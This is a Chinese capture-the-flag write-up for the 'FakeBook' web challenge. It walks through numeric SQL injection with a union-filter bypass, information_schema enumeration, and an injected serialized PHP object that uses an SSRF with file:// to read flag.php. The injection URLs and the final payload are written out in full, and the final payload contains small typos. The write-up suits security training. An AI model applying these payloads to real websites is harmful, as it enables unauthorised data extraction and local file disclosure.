攻防世界-FakeBook
使用dirmap扫描
查看网页,发现只有login和join两个功能,扫描结果:
login用于登录,join.php用于注册用户,view.php
因为刚开始使用dirmap,字典很差很多没扫出来,尤其是flag.php
寻找注入点爆破
-
注册登录后进入
http://111.200.241.244:54207/view.php?no=1
,可能存在注入,可以尝试一下,但是目前只有一个用户。 -
http://111.200.241.244:54207/view.php?no=2-1
,页面不变,发现是数字型注入。 -
使用
http://111.200.241.244:54207/view.php?no=1%20order by 4 %23
,返回,列数为4. -
http://111.200.241.244:54207/view.php?no=-1%20union%20select%201,2,3,4%20%23
联合查询被检测到了。
-
试试布尔盲注
http://111.200.241.244:54207/view.php?no=1%20and%200%20%23
成功了。下面又试试这个成功了。写代码是不能的,还是直接sqlmap来的快。尝试了一下发现响应太慢????不得行啊。 手动发现数据库名长度为8,难道真的要依次试试嘛。第一个字符为f,难道就是flag?发现正确的,响应时间很长,错误的响应时间很短。应该就是fakebook就是这个嘛 。
-
又试试报错,显示了报错信息。但是又不能使用updatexml,其他的没试。
-
百度了一下,发现union select过滤的绕过可以使用union all select 绕过。或者union\**\select也可以
-
http://111.200.241.244:54207/view.php?no=-1%20union%20all%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%22fakebook%22%20%23
发现users表
-
http://111.200.241.244:54207/view.php?no=-1%20union%20all%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%22users%22%20%23
-
data列中是O:8:"UserInfo":3:{s:4:"name";s:5:"jason";s:3:"age";i:0;s:4:"blog";s:9:"jason.com";} 明显是用户类序列化的结果。不对啊,我要的是flag啊,这是啥啊。还是看writeup把,好家伙user.php.bak没扫出来,字典垃圾了,赶紧加上。
-
查看user.php.bak,大概就是view.php中的内容,核心在有一个网络请求blog中。
-
根据扫描结果可以知道根目录下有一个flag.php但是浏览器打开啥也没有。
-
使用SSRF服务器端请求伪造,view.php让它去请求flag.php就可以了,猜测flag.php的实际路径为
/var/www/html/flag.php
构造file协议file:///var/www/html/flag.php
-
payload:
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3 {s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.p hp";}'
-
flag:
iframe中的base64编码数据解码之后也可以看到flag